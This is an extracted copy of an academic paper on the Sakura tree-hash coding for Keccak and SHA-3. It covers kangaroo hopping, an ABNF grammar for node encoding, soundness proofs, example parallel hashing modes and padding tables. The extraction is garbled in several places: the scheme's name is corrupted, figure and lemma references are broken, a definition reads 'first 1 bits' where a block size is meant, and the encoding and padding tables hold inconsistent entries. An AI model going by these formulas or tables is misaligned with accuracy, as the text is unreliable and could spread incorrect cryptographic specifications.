The motivation for kangaroo hopping is the following. The length of (a node mapped from) a chaining hop is the number of children multiplied by the length of the chaining value. Compared to sequential hashing, this corresponds to an overhead. Also, there is typically some additional computational overhead per call to \( f \). Kangaroo hopping reduces this overhead by putting multiple hops per node in a way that does not jeopardize the potential parallelism expressed in the hop tree. A chaining hop has an attribute that says whether kangaroo hopping must be applied on it, and if so, the chaining hop is also called a *kangaroo hop*. When encoding a kangaroo hop into a node, the node contains its first child hop itself instead the chaining value (its \( f \)-image). For the other child hops it contains the chaining values as usual. Hence, when evaluating \( F(M) \), instances of \( f \) can
process child hops in parallel and then the instance of $f$ for the first child continues processing the parent hop.
Kangaroo hopping can be applied in a recursive way, i.e., the first child hop may also be a kangaroo hop. All in all, a node may contain a message hop followed by zero, one or more chaining hops, or one or more chaining hops. Kangaroo hopping reduces the number of nodes to the total number of hops minus the number of kangaroo hops. It is easy to see that the number of nodes can be reduced to the number of message hops, but not to less.
The result of applying $f$ to the final node is the output of $F$. The last hop in this node is the final hop. The result of applying $f$ to an inner node is a chaining value.
2.6 Illustrations
We illustrate these concepts with some examples in Figures 1, 2 and 3. These figures depict hop trees with the following conventions. Message hops have sharp corners, chaining hops have rounded corners. The final hop has a grey fill, the others a white fill. An edge between child and parent has an arrow and enters the parent from above if the chaining value obtained by applying $f$ to the child hop is in the parent hop. It has a short dash and enters the parent hop from the left in the case of kangaroo hopping. Hops on the same horizontal line are in the same node.
In Figure 1 there are in total 5 hops: 4 message hops $M_0$ to $M_3$ and one chaining hop $Z_e$. The final node contains both the final hop $Z_e$ and $M_0$ because of kangaroo hopping. The total number of nodes is 4.
In Figure 2 there are in total 7 hops: 4 message hops $M_{00}$, $M_{01}$, $M_{10}$, $M_{11}$, and three chaining hops $Z_0$, $Z_1$ and $Z_e$. The final node contains only the final hop $Z_e$. The hops $M_{00}$ and $Z_0$ are in a single node. Similarly, $M_{10}$ and $Z_1$ are in a single node. The total number of nodes is 5.
In Figure 3 there is only a single hop, that is at the same time a message hop and the final hop. Clearly, there is only a single node containing this hop.
Fig. 2. Another example of a hop tree. $M_{00}$ and $Z_0$ are in the same node, as well as $M_{10}$ and $Z_1$.
Fig. 3. Example of a hop tree with a single node
3 The Sakura tree coding
In this section we specify the Sakura tree coding. The goal of this coding is to allow a tree hash mode to encode a hop tree into the input of $f$. From this definition, it should be clear how the evaluation of $F(M)$ must be processed.
For a Sakura-compatible tree hash mode to be sound, the individual parts (e.g., message bits, chaining values) must be unambiguously recovered by parsing the node tree. Of course, such a decoding never occurs in practice but must be ensured for satisfying tree-decodability. The coding adds frame bits for tree-decodability, as well as to ensure domain separation between inner nodes and the final node.
The coding is based on a number of simple principles:
- Nodes, namely inputs to $f$, can be unambiguously decoded into hops from the end. This is done by
- coding in a trailing frame bit whether it is a chaining hop or a message hop;
- allowing at most a single message hop per node, and this at the beginning;
- allowing the parsing of a chaining hop from the end.
- The parsing of a chaining hop from the end is made possible in the following way:
- it is a series of chaining values followed by an interleaving block size;
- an interleaving block size consists of 2 bytes;
- at the end of the chaining values their number is appended in suffix-free coding;
- the length of the chaining values is determined by the security strength of $f$.
- We apply simple padding between the hops in a node, so as to allow the alignment of these elements to byte boundaries, 64-bit word boundaries or to any other desired boundaries. (This is up to the mode to define.)
- We apply simple padding at the end of inner nodes. Where appropriate, this can be used by a mode to ensure that different sibling inner nodes have the same length. This may simplify the implementation, e.g., if sibling inner nodes are processed in parallel using SIMD instruction. (Again, this is up to the mode to define.)
3.1 Formal description of Sakura
We specify the Sakura tree coding in Figure 4 below. In our specification we use the Augmented Backus-Naur Form (ABNF), which is used for describing the syntax of programming languages or document formats [20]. (We refer to the Wikipedia entries for ABNF.)
In short, an ABNF specification is a set of derivation rules, where a non-terminal symbol is assigned a sequence of symbols or a choice of a set of sequences of symbols, separated by |. Symbols that never appear on a left side are terminals. Non-terminal symbols are enclosed between the pair ⟨⟩. In our case, the terminals are either the frame bits ‘0’ and ‘1’, frame bits whose value is specified in the text (FRAME_BIT), bits coming from the message (MESSAGE_BIT), bits coming from chaining values (CHAINING_BIT), or the empty string ‘’. The expression n⟨x⟩ denotes a sequence of n elements of type ⟨x⟩. In the language of [6], the produced nodes compose a tree template, i.e., a tree with placeholders for message bits and chaining values.
⟨final node⟩ ::= ⟨node⟩ ’1’
⟨inner node⟩ ::= ⟨node⟩ ⟨padSimple⟩ ’0’
⟨node⟩ ::= ⟨message hop⟩ ⟨chaining hop⟩ ⟨kangaroo hopping⟩
⟨kangaroo hopping⟩ ::= ⟨node⟩ ⟨padSimple⟩ ⟨chaining hop⟩
⟨message hop⟩ ::= ⟨message bit string⟩ ’1’
⟨message bit string⟩ ::= ’ ’ | ⟨message bit string⟩ MESSAGE_BIT
⟨chaining hop⟩ ::= nrCVs⟨CV⟩ ⟨coded nrCVs⟩ ⟨interleaving block size⟩ ’0’
⟨CV⟩ ::= nCHAINING_BIT
⟨coded nrCVs⟩ ::= ⟨integer⟩ ⟨length of integer⟩
⟨integer⟩ ::= ⟨frame byte string⟩
⟨frame byte string⟩ ::= ’ ’ | ⟨frame byte string⟩ 8FRAME_BIT
⟨length of integer⟩ ::= 8FRAME_BIT
⟨interleaving block size⟩ ::= ⟨mantissa⟩ ⟨exponent⟩
⟨mantissa⟩ ::= 8FRAME_BIT
⟨exponent⟩ ::= 8FRAME_BIT
⟨padSimple⟩ ::= ’1’ | ⟨padSimple⟩ ’0’
Fig. 4. Definition of Sakura tree hash coding
The production rules for ⟨node⟩ express which sequences of hops can be encoded in a node. E.g., if the node contains one message hop followed by two chaining hops because of kangaroo hopping, ⟨node⟩ expands to ⟨message hop⟩ ⟨padSimple⟩ ⟨chaining hop⟩ ⟨padSimple⟩ ⟨chaining hop⟩.
The length of the chaining values ⟨CV⟩ is n bits, where n is a multiple of 8 to ensure byte-alignment. If the function f has worst-case (or collision resistance) security strength s [18], then we take n equal to s multiplied by two and rounded to a multiple of 8, i.e.,
\[ n = 8\lfloor s/4 \rfloor. \] In the case of a sponge function with capacity \( c \), \( n = 8\lfloor c/8 \rfloor \), e.g., if \( c = 256 \) bits, then a \( \langle CV \rangle \) consists of 32 bytes \[2\]. We assume that the security strength of the inner function is known from the context.
When interpreted as an integer, a byte has the value
\[ \sum_{0 \leq i < 8} b_i 2^i, \] where the first bit in a byte has index 0 and the last 7.
The \( \langle \text{coded \ nrCVs} \rangle \) codes the number of chaining values and is a positive integer. It consists of two fields:
- \( \langle \text{integer} \rangle \): a byte string that can be decoded to an integer using the function \( \text{OS2IP}(X) \) specified in the RSA Labs standard PKCS\#1\[12\].
- \( \langle \text{length of integer} \rangle \): a single byte that codes the length (in bytes) of the \( \langle \text{integer} \rangle \) field.
The interleaving block size codes an integer using a floating point representation. Its first byte is the mantissa \( m \) and its second byte is the exponent \( e \). The value of the interleaving block size \( I \) is then given by
\[ I = 2^e(2^m + 1). \]
The largest possible value that the interleaving block size can have with this coding is \((2^9 - 1)2^{255}\), obtained by setting all bits in its coding to 1. In practice no message will ever attain this length and we use it to denote that there is no interleaving. This value will be denoted by \( I = \infty \) in the remainder of this paper.
Within a node, the chaining bits must come from child nodes with increasing indexes, starting from 0 at the beginning of the node, across all chaining hops of the node. When kangaroo hopping is not used, the node indexing matches the hop indexing, but not in general.
The encoding of the message bits in the tree should allow the reconstruction of the message by applying \( \text{GetMessage} \) to the final hop according to following definition. Note that reconstructing the message from the nodes is an operation that is relevant in proving soundness rather than something to be used in practice.
**Definition 1.** \( \text{GetMessage} \) is defined by the following recursion:
- \( \text{GetMessage}(\text{message hop}) \) is the message hop’s message string
- \( \text{GetMessage}(\text{chaining hop}) = \text{DeInterleave}(L, I) \), where
- \( L \) is an ordered list obtained by calling \( \text{GetMessage}() \) on each child hop,
- \( I \) is the input chaining hop’s interleaving block size attribute, and
- \( \text{DeInterleave}(L, I) \) extracts the first 1 bits from \( L_0 \), then the first 1 bits from \( L_1 \), ..., up to the last item of list, then back to \( L_0 \), and so on, until all strings in \( L \) are empty. Extracting more bits than available reduces to extracting all remaining bits.
**Definition 2.** A tree template is \( \text{Sakura-compatible} \) if its nodes are compliant with the coding specified in Figure 8 if the number of \( \langle CV \rangle \) and the block interleaving size are coded as explained above, and if the chaining bits and message bits are as defined above.
3.2 Illustrations
We apply the SюјѢџю encoding to the examples depicted on Figures 1, 2, and 3. In these examples, we use the following conventions. Bit values are written as 0 or 1, while sequences of 8 bits can be written in hexadecimal notation prefixed with 0x with numerical value following Eq. (1). Spaces are inserted only for reading purposes. If $M_a$ is a message hop, we denote by $M_a$ its message bits. Similarly, if $Z_a$ is a chaining hop, we denote by $\{I_a\}$ the encoding of its interleaving block size. Then, $CV_b$ is the chaining value resulting from the application of $f$ to the node with index $\beta$. Finally, $0^*$ indicates a non-negative number of bits 0 determined by the tree hash mode, typically inserted for alignment purposes.
The example corresponding to Figure 1 is given in Table 1. In the final node, $\langle node \rangle$ expands to $\langle message hop \rangle \langle padSimple \rangle \langle chaining hop \rangle$, while in all other nodes it simply expands to $\langle message hop \rangle$.
The example corresponding to Figure 2 is given in Table 2. In two inner nodes, $\langle node \rangle$ expands to $\langle message hop \rangle \langle padSimple \rangle \langle chaining hop \rangle$ and in two other inner nodes, $\langle node \rangle$ expands to $\langle message hop \rangle$. In the final node, $\langle node \rangle$ simply expands to $\langle chaining hop \rangle$.
For sequential hashing (Figure 3), this reduces to a single final node containing $M_{11}$, and the relationship between the inner and outer hash functions reduces to
$$F(M) = f(M||11).$$
<table>
<thead>
<tr>
<th>Node index</th>
<th>Encoding</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>$M_1 , 10^* , 0$</td>
</tr>
<tr>
<td>1</td>
<td>$M_2 , 10^* , 0$</td>
</tr>
<tr>
<td>0</td>
<td>$M_1 , 10^* , 0$</td>
</tr>
<tr>
<td>*</td>
<td>$M_1 , 10^* , CV_0 , CV_1 , 0x03 , 0x01 , {I_1}0 , 1$</td>
</tr>
</tbody>
</table>
Table 1. Encoding for the hop tree example depicted in Figure 1
<table>
<thead>
<tr>
<th>Node index</th>
<th>Encoding</th>
</tr>
</thead>
<tbody>
<tr>
<td>10</td>
<td>$M_{11} , 10^* , 0$</td>
</tr>
<tr>
<td>1</td>
<td>$M_{10} , 10^* , CV_{10} , 0x01 , 0x01 , {I_1}0 , 10^* , 0$</td>
</tr>
<tr>
<td>00</td>
<td>$M_{10} , 10^* , 0$</td>
</tr>
<tr>
<td>0</td>
<td>$M_{01} , 10^* , CV_{01} , 0x01 , 0x01 , {I_0}0 , 10^* , 0$</td>
</tr>
<tr>
<td>*</td>
<td>$CV_0 , CV_1 , 0x02 , 0x01 , {I_1}0 , 1$</td>
</tr>
</tbody>
</table>
Table 2. Encoding for the hop tree example depicted in Figure 2
4 SAKURA-compatible tree hash modes and soundness
We define SAKURA-compatible tree hash modes in the following way.
Definition 3. A tree hash mode is SAKURA-compatible if it generates only SAKURA-compatible templates.
We will now prove that any Sakura-compatible tree hash mode, as well as the union of any set of Sakura-compatible tree hash modes, is sound by proving a number of lemmas.
We start by defining $S$ as a tree hash mode that can generate all Sakura-compatible templates. By construction, this mode is Sakura-compatible. Its parameters $A$ must describe the whole hop tree structure with each hop’s attributes, plus the length of all message blocks and the number of zeroes inserted by $\langle padSimple \rangle$. This mode is not meant to be used in practice but only in the scope of this proof.
**Lemma 1.** Given a node instance produced by $S$ (i.e., with Sakura coding) and the knowledge of the security strength of $f$, one can recover indices of all hops, the message strings of the message hops, the location and indices (relative to the given node instance index) of the chaining values, and the interleaving block size attributes of all chaining hops.
**Proof.** From the definition of Sakura in Figure 4, it is clear that a $\langle node \rangle$, obtained after removing the trailing bit from a $\langle final \ node \rangle$ or $\langle inner \ node \rangle$ (and in the latter case, also removing the $\langle padSimple \rangle$ padding), consists of a possible $\langle message \ hop \rangle$ followed by one or more $\langle chaining \ hop \rangle$s, with simple padding in between. A $\langle chaining \ hop \rangle$ in turn consists of a sequence of $\langle CV \rangle$s followed by an encoding of their number and a $\langle interleaving \ block \ size \rangle$.
Parsing a $\langle node \rangle$ can be done starting at the end. If the last bit is 1 it simply consists of a single message hop. Otherwise, it ends with a chaining hop. In the latter case, the last two bytes code the interleaving block size of the chaining hop and the byte before that denotes the length of the field coding the number of chaining values and allows localizing it. Decoding this field yields the number of chaining values and together with their lengths uniquely determines their positions in the node, including the start of the chaining hop in the node. This allows continuing the parsing until reaching the beginning of the $\langle node \rangle$ or the end of the $\langle message \ hop \rangle$ in the beginning of the $\langle node \rangle$.
The interleaving block size of a chaining hop can be computed from the coding in $\langle interleaving \ block \ size \rangle$ at its end and the message string of the $\langle message \ hop \rangle$ (if any) can be obtained by removing the trailing bit 1.
The index of the last $\langle chaining \ hop \rangle$ is that of the $\langle node \rangle$. Whenever kangaroo hopping is used, the index of a $\langle chaining \ hop \rangle$ or $\langle message \ hop \rangle$ is recursively the index of the next $\langle chaining \ hop \rangle$ with 0 concatenated to it. This is in line with the node indexing specified in Section 3.1.
The indices of the nodes corresponding with the $\langle CV \rangle$s in a $\langle node \rangle$ can be obtained by appending to the last hop index 0 for the first CV, 1 for the second and so on, throughout all the $\langle chaining \ hop \rangle$s of the node instance from beginning to end.
To prove the soundess of $S$, we use the three conditions that are shown to be sufficient in [6]. We now informally summarize them.
- The mode must be tree-decodable. This means that the tree can be parsed to retrieve the frame bits, message bits and chaining bits unambiguously. There must be a decoding algorithm $A_{\text{decode}}$ that can parse the tree progressively on subtrees, starting from the final node only, and each time adding a new inner node and pointing at the corresponding chaining value. Also, the process must terminate by requiring that one can distinguish between complete and compliant trees, subtrees that are compliant except for some missing nodes (called final-subtree-compliant), and incompliant trees.
- The mode must be message-complete. This means that the message can be reconstructed from the complete tree.
The mode must be final-node separable. This essentially means that one can tell the difference between final nodes and inner nodes.
**Lemma 2.** The tree hash mode \(S\) is tree-decodable.
**Proof.** First, there are no tree instances that are both compliant and final-subtree-compliant. Lemma \(\PageIndex{1}\) proves that one can always unambiguously decode chaining values and distinguish them from other kind of bits given only one node instance. This means that a final subtree \(S\) is a proper final subtree iff there are chaining values pointing to nodes missing in \(S\).
Second, the algorithm \(A_{\text{decode}}\) can be defined as follows. Given a tree instance \(S\) with index set \(I\), it first recursively decodes tree node instances of \(S\) as in the proof of Lemma \(\PageIndex{1}\). If at any point, the coding does not follow the grammar defined in Figure \(\PageIndex{4}\) or when the string is too short to contain the number of \((CV)\)s coded in \((\text{coded nrCVs})\), it returns “incompliant”.
The algorithm \(A_{\text{decode}}\) then looks for nodes that have chaining values pointing to nodes missing in \(S\) (i.e., whose index is not in \(I\)). If there are such values, return “compliant”. Otherwise, return “final-subtree-compliant” and the index of such a missing node using a deterministic rule (e.g., the missing node with the first index in lexicographical order).
The algorithm \(A_{\text{decode}}\) runs in linear time in the number of bits in the tree instance, as can be seen in the proof of Lemma \(\PageIndex{1}\).
\(\Box\)
**Lemma 3.** The tree hash mode \(S\) is message-complete.
**Proof.** Given a compliant tree instance \(S\), the algorithm \(A_{\text{message}}\) can be defined similarly to the \(\text{GetMessage}\) function in Definition \(\PageIndex{1}\). From Lemma \(\PageIndex{1}\), the necessary hop attributes can be extracted from the tree instance.
Clearly, this algorithm runs in linear time in the number of bits in the tree instance. \(\Box\)
**Lemma 4.** The tree hash mode \(S\) is final-node separable.
**Proof.** \(\text{Sakura}\) enforces domain separation between final and inner nodes, as the trailing bit of a final node is always 1 and that of an inner node is always 0. \(\Box\)
**Theorem 1.** Any \(\text{Sakura}\)-compatible tree hash mode, as well as the union of any set of \(\text{Sakura}\)-compatible tree hash modes, is sound.
**Proof.** From the previous lemmas and \(\PageIndex{1}\), Theorem 1, it follows that \(S\) is sound.
The set \(Z_T\) of tree templates that a \(\text{Sakura}\)-compatible tree hash mode \(T\) produces is included in those produced by \(S\), i.e., \(Z_T \subseteq Z_S\). Therefore, \(T\) can be implemented by running \(S\) as a sub-procedure, after encoding \(T\)’s parameters in the format that \(S\) accepts. This only restricts what an attacker can query, so \(T\) is at least as secure as \(S\).
When taking the union of two or more \(\text{Sakura}\)-compatible tree hash modes, if the tree instances produced by each of the united modes are \(\text{Sakura}\)-compatible, then so are the tree instances produced by the union. It follows that the union of \(\text{Sakura}\)-compatible tree hash modes is \(\text{Sakura}\)-compatible and the argument above carries over to the union. \(\Box\)
5 Examples of tree hash modes
In this section we give some examples of tree hash modes that can be realized with the Sakura coding. In general, specifying a mode mainly comes down to specifying how the tree grows as a function of the size of the input message. These modes are parameterized and the value of the parameters must be known at the time of hashing a message.
For fully specifying a tree hash mode compliant with Sakura, one has to specify the number of hops and their indices, how the message bits are distributed onto message hops, and for each chaining hop whether kangaroo hopping is applied. In addition, the mode has to specify the length of the padding elements as they appear in the grammar of Figure 4. For the padding between hops, this can be derived from a simple strategy, such as always align on bytes, on 64-bit boundaries or on the input block size (or rate) of the inner hash function $f$. If desired, the mode can also specify how to use the padding at the end of inner nodes to ensure that sibling nodes executed in parallel branches have the same length.
In our examples, unless otherwise specified, the message is split into $B$-bit blocks $M_i$, i.e.,
$M = M_0 || M_1 || \ldots || M_{n-1}$,
with $n = \lceil |M|/B \rceil$ and where the last block $M_{n-1}$ may be shorter than $B$ bits.
5.1 Final node growing
With final node growing, the hop tree has fixed height 1 and the number of leaves increases as a function of the input message length. There is only a single chaining hop, namely the final hop. The indices of the message hops are integers 0 to $n - 1$ and the message string in message hop with index $i$ is $M_i$, hence each message hop has a fixed maximum size $B$. Interleaving is not applied, so the interleaving block size in the final hop is $I = \infty$.
This mode can be useful to enable a large amount of potential parallelism, namely up to $n = \lceil |M|/B \rceil$ message hops can be processed in parallel if the corresponding message blocks are available at the same time. In practice, a number $p$ of independent processes $P_j$, $j = 0, \ldots, p - 1$ can be set up, which does not depend on the tree structure other than in the total number of message hops. Each process $P_j$ could take care of message hops with indices $j + kp$.
The drawback of this method is an extra cost proportional to the message length, as $n$ chaining values of length $c$ must be processed in the final node. This extra cost represents approximately a fraction $c/B$ of the nominal work, which can be made arbitrarily small by choosing $B$ large enough.
This mode has two parameters:
- $B$, the maximum size of message string in message hops, and
- whether or not kangaroo hopping shall be applied in the final hop.
5.2 Leaf interleaving
With leaf interleaving, the hop tree has a fixed topology, i.e., its height is 1 and it has $D$ message hops, with $D$ a parameter. The size of the message hops depends on the input message length. The message is distributed over the leaves as it arrives in blocks of
size $B$. The message hops have indices $i \in \{0, 1, \ldots, D - 1\}$ and their message string is $M_i | M_{i+D} | \ldots | M_{i+(s-1)D}$ with $s_i = \lceil (n-i)/D \rceil$. The interleaving block size in the final hop shall be set to $I = B$. If $|M| < DB$, there are message hops with zero message bits. (Note that an alternate message assignment procedure is proposed later in this section.)
This mode is useful if one wants to hash a message in up to $D$ parallel threads. The drawback is that $D$ represents a limit in the potential parallelism, and this value must be chosen beforehand.
This method has a fixed extra cost, independent of the message length, as the final node has to process $D$ chaining values.
This mode has three parameters:
- $B$, the interleaving block size,
- $D$, the number of message hops, and
- whether or not kangaroo hopping shall be applied in the final hop.
### Ensuring equal-length inner nodes
In the implementation, it may be interesting to ensure that all the $D$ nodes processed simultaneously have equal block length w.r.t. the inner function $f$. For the $D$ (or $D - 1$, if kangaroo hopping is applied) inner nodes, this can be achieved by systematically adding bits with value $\theta$ in the $\langle \text{padSimple} \rangle$ padding of the $\langle \text{inner node} \rangle$ production rule. A simple procedure consists in adding padding bits so as to match the length of the longest inner node.
When kangaroo hopping is applied, the final node has the possibility to add padding bits after the message hop, just before the chaining values of the $D - 1$ inner nodes are added, i.e., in the $\langle \text{padSimple} \rangle$ padding of the $\langle \text{kangaroo hopping} \rangle$ production rule. The processing of all $D$ pieces of message can therefore be aligned, even with kangaroo hopping.
### Avoiding systematic block alignment
Implementations can also be made easier when the interleaving block size $B$ is equal to, or a multiple of, the input block size (or rate) $r$ of the inner hash function $f$. This avoids re-shuffling of the input message bytes, in particular for implementations that process less than $D$ nodes in parallel.
But there is a potential efficiency problem in this case if care is not taken in the way the message bits are spread on the $D$ message hops, in particular for the last $|M|$ mod $DB$ bits. If the message bits are cyclically spread by blocks of $B$ bits onto the $D$ message hops until exhaustion, message hops will very often contain a whole number of $r$-bit blocks. After adding frame and padding bits, the resulting nodes will systematically be just a few bits longer than a whole number of $r$-bit blocks. This would be unfortunate, as the inner function $f$ would need to process an additional block containing only frame and padding bits and no message payload, and this amounts to quite an extra fixed cost compared to just processing the final hop. E.g., if $B = r = 1024$, $D = 4$ and the message length is 3208 (mod 4096), the last 3208 bits would be split as $1024 + 1024 + 1024 + 136$, causing 3 extra blocks to be absorbed without any payload.
To address this, the mode can simply spread the last $|M|$ mod $DB$ bits as equally as possible (up to, say, bytes) onto the $D$ hops. The mode remains SAUKORK-compatible since the $\text{GetMessage}$ function in Definition 1 simply concatenates the last blocks of each nodes, even if they have less than $I = B$ bits. Taking the same example as above, the last 3208 bits could instead be spread as $800 + 800 + 800 + 808$ and avoid the 3 extra blocks mentioned above. Note that this technique requires to know the end of the message $DB$ bits in advance or to have a buffer of $DB$ bits.
Let us specify a possible alternate procedure, which we illustrate in the case that the message and interleaving block sizes are byte-aligned, i.e., $|M|$ and $B$ are multiples of 8. With $m = |M|/8$ and $b = B/8$, we concentrate on the last $m \mod Db$ bytes. If $m \mod Db = 0$, message hops all contain whole blocks, and there is nothing to do. If $m \mod Db > 0$, we proceed as follows.
- Let $M'$ be the last $m \mod Db$ bytes of $M$.
- For $i$ from 0 to $D - 1$:
- Move the first $\lfloor m + iD \rfloor$ remaining bytes from $M'$ to the $i$-th message hop.
5.3 Macro- and microscopic leaf interleaving
Different orders of magnitudes for the block interleaving size $I$ can be useful depending on the kind of parallelism that one wishes to exploit. At one end of the spectrum is a single-instruction multiple-data (SIMD) unit of a modern processor or core. Such a unit can naturally compute two (or more) instances of the same primitive in parallel. For the processor or core to be able to fetch data in one shot, it is interesting to process simultaneously data blocks that are located close to one another. Suitable $I$ values for addressing this are, e.g., 64 bits or the input block size (or rate) of $f$.
At the other end of the spectrum is the case of independent processors, cores or even machines that process different parts of the input in parallel. In contrast, it is here important to avoid different processors or cores having to fetch the same memory addresses, or to avoid copying identical blocks of data for two different machines. Suitable $I$ values for addressing this are in the order of kilobytes or megabytes.
The two cases can coexist, for instance, if several cores are used to hash in parallel and each core has a SIMD unit. A suitable tree structure is one with height 2, as depicted in Figure 2. The subtrees rooted by $Z_0$ and $Z_1$ are handled by different cores, whereas the leaves are processed together in the SIMD units. The final hop $Z_s$ splits the message to hash into macroscopic blocks (large $I$), while the intermediate chaining hops $Z_0$ and $Z_1$ further split the macroscopic blocks into microscopic blocks suitable for the SIMD unit (small $I$).
The tree hash mode of Section 5.2 can be generalized to support such mixed interleaving block sizes.
5.4 Binary tree
With a binary tree, the tree topology evolves as a function of the input message size. All chaining hops have degree 2, and the message strings in the message hops have a fixed maximum size $B$. The height of the message hops depends on the length of the message and the position of the message string of that message hop in the message. Interleaving is not applied, so the interleaving block size in all chaining hops is $I = \infty$.
This mode is useful if one wants to limit the effort to re-compute the hash when only a small part of the message changes. This requires that the chaining values are stored. Hence, in this application, kangaroo hopping is not interesting.
The hop tree can be defined in the following way. We first arrange the message blocks $M_i$ in a linear array to form the message hops. Each message hop can be seen as a tree with height 0. Then we apply the following procedure iteratively: combine the trees in pairs starting from 0 by adding a chaining hop and connecting the two root hops to it. If
the number of trees is odd, the last tree is just kept as such. Applying this $\lceil \log_2 n \rceil$ times will reduce the number of trees to a single one. The most recently added hop is the final hop. The indices of the hops follow directly from the tree topology. Figure 5 illustrates the case for three different numbers of blocks.
![Binary Trees Diagram]
**Fig. 5.** Examples of binary trees with 9, 11 and 14 leaves
This mode has one parameter:
- $B$, the maximum size of message strings in the message hops.
### 5.5 Equal parts
If the length of the input message is known in advance, one can choose to divide the message in a chosen number $D$ of (almost) equal parts. The hop tree has a fixed topology, i.e., it has height 1, with the final hop and $D$ message hops. The size of the message hops depends on the message size and on $D$, namely, $B = \lceil |M|/D \rceil$, and message hop with index $i$ contains $M_i$. Interleaving is not applied, so the interleaving block size in the final hop is $I = \infty$.
This mode has two parameters:
- $D$, the number of message hops, and
- whether or not kangaroo hopping shall be applied in the final hop.
### 6 Application to Keccak and SHA-3
In the future, one may standardize tree hash modes. By adopting Sakura coding from the start, any future Sakura-compatible tree hash mode using Keccak as inner function...
can be introduced while guaranteeing soundness of the union of that new mode and any compatible tree hash mode(s) defined up to that point. The sequential hash mode will then simply correspond with the single-hop case of Figure 3. As shown in Eq. (2), this comes down to appending two bits to the message before presenting to the inner function:
- a bit 1 to indicate it is a message hop, and
- a bit 1 to indicate it is the final node.
The draft of FIPS 202 contains both the arbitrary output length instances SHAKE128 and SHAKE256, called extendable-output functions, and the SHA-2 drop-in replacement instances SHA3-224 to SHA3-512 with their traditional fixed output length [19]. In addition, the different SHA-3 instances and possible future uses of Keccak are domain-separated by appending a (short) fixed suffix. While Keccak’s multi-rate padding already offers domain separation between instances with different capacities, the suffix also separates instances with equal capacities. In particular, the last bit of the suffix is always 1, reserving 0 for future uses, and the one before last bit is 1 for the extendable-output functions and 0 for the SHA-2 drop-in’s.
All the instances in the FIPS 202 draft are sequential. The extendable-output functions SHAKE128 and SHAKE256 have a suffix that allows for future Sakura-compatible tree hash modes, as we discuss below. We now focus on these two functions, as it would not make much sense to combine tree hashing with the SHA-2 drop-in’s. The reason is that to carry over the full security of the underlying hash function, one has to set the tree-level chaining value length $n$ equal to the capacity $c$ (or $n$ equal to twice the security strength in general). As for SHA3-n, the FIPS 202 draft sets $c = 2n$, one would need to define some ad-hoc construction on top of it to get two output blocks (like a mask generating function), and this would be absurd given that SHA3-n is obtained by truncating Keccak’s output.
The extendable-output functions are defined in two steps:
- first $\text{RawSHAKE128}(\triangle) = \text{Keccak}[c = 256](\triangle||11)$, with 11 the domain separation suffix of the extendable-output functions, and
- then $\text{SHAKE128}(M) = \text{RawSHAKE128}(M||11)$,
and similarly for SHAKE256 [19]. This means that RawSHAKE128/256 can be seen as the inner function $f(\triangle)$ and SHAKE128/256 as the outer function $F(M)$ as in Eq. (2). Future tree hash modes can possibly use Sakura coding on top of RawSHAKE128/256. In the expressions above, the notation $\triangle$ suggests a Sakura-compatibly formatted input.
As domain separation and Sakura coding are realized by appending sufficiently few bits, there is no performance penalty induced by these suffixes for messages that consist of byte sequences and rate values that are a multiple of 8. The domain separation suffix consists of two bits (i.e., 11), while the last bits induced by Sakura coding depend on the type of node, i.e., whether the last hop is a message (1) or a chaining hop (0), followed by whether the node is final (1) or not (10’0). In addition, the implementer has also to apply the multi-rate padding (10’1). Together, all this fits in one byte (assuming that the mode does not add any extra bit 0 at the end of inner nodes, the use of which being discussed in Section 5.2).
Let us take as example $\text{RawSHAKE128}(\triangle) = \text{Keccak}[c = 256](\triangle||11)$, although this works equally well with RawSHAKE256 as it uses the same suffixes and only the capacity differs. With sequential hashing, $\triangle$ reduces to $\triangle = M||11$ and, together, the suffixes and multi-rate padding can be seen as padding with 111110’1. In hexadecimal notation, using
Keccak’s bit numbering conventions [1], namely from the least to the most significant bit and consistently with Eq. (1), this becomes 0x1F 0x00 0x80 if |M| mod r < r – 8 or 0x9F otherwise. For other node types, the different byte-level paddings are shown in Table 3.
<table>
<thead>
<tr>
<th>Node type</th>
<th>Bit-level</th>
<th>Byte-level padding</th>
</tr>
</thead>
<tbody>
<tr>
<td>inner node with chaining hop</td>
<td>01 11 10*</td>
<td>0x3A 0x00 0x80 (or 0x8A)</td>
</tr>
<tr>
<td>inner node with only message hop</td>
<td>110 11 10*</td>
<td>0x38 0x00 0x80 (or 0x8B)</td>
</tr>
<tr>
<td>final node with chaining hop</td>
<td>01 11 10*</td>
<td>0x1E 0x00 0x80 (or 0x9E)</td>
</tr>
<tr>
<td>final node with only message hop</td>
<td>11 11 10*</td>
<td>0x1F 0x00 0x80 (or 0x9F)</td>
</tr>
</tbody>
</table>
Table 3. Bit- and byte-level padding for RawSHAKE128/256, assuming no extra bit 0 at the end of inner nodes. The last row corresponds to SHAKE128/256 [19].
7 Conclusion
We showed that it is possible to define a fairly general coding for tree hashing, such that any tree hash mode compatible with this coding is sound and remains sound even when considered in a larger set of compatible tree hash modes. We proposed a concrete coding called Sakura. In the current FIPS 202 draft, the SHA-3 extendable-output functions chosen by NIST adopt Sakura for sequential hashing as a special case of tree hashing.
Acknowledgments
We would like to thank Stefan Lucks, Dan Bernstein and the members of the NIST hash team for useful discussions.
References
12. RSA Laboratories, PKCS # 1 v2.2 RSA Cryptography Standard, 2012.
13. S. Lucks, Tree hashing: A simple generic tree hashing mode designed for SHA-2 and SHA-3, applicable to other hash functions, Early Symmetric Crypto (ESC), 2013.
18. NIST special publication 800-57, recommendation for key management (revised), March 2007.
|
{"Source-Url": "https://eprint.iacr.org/2013/231.pdf", "len_cl100k_base": 12372, "olmocr-version": "0.1.50", "pdf-total-pages": 18, "total-fallback-pages": 0, "total-input-tokens": 55226, "total-output-tokens": 14760, "length": "2e13", "weborganizer": {"__label__adult": 0.0004367828369140625, "__label__art_design": 0.00048160552978515625, "__label__crime_law": 0.0006895065307617188, "__label__education_jobs": 0.0005426406860351562, "__label__entertainment": 0.00012969970703125, "__label__fashion_beauty": 0.00018906593322753904, "__label__finance_business": 0.0005035400390625, "__label__food_dining": 0.0004162788391113281, "__label__games": 0.0010356903076171875, "__label__hardware": 0.003360748291015625, "__label__health": 0.0006542205810546875, "__label__history": 0.0005311965942382812, "__label__home_hobbies": 0.0001596212387084961, "__label__industrial": 0.0011997222900390625, "__label__literature": 0.00031256675720214844, "__label__politics": 0.00042724609375, "__label__religion": 0.0008139610290527344, "__label__science_tech": 0.37646484375, "__label__social_life": 9.590387344360352e-05, "__label__software": 0.0152740478515625, "__label__software_dev": 0.5947265625, "__label__sports_fitness": 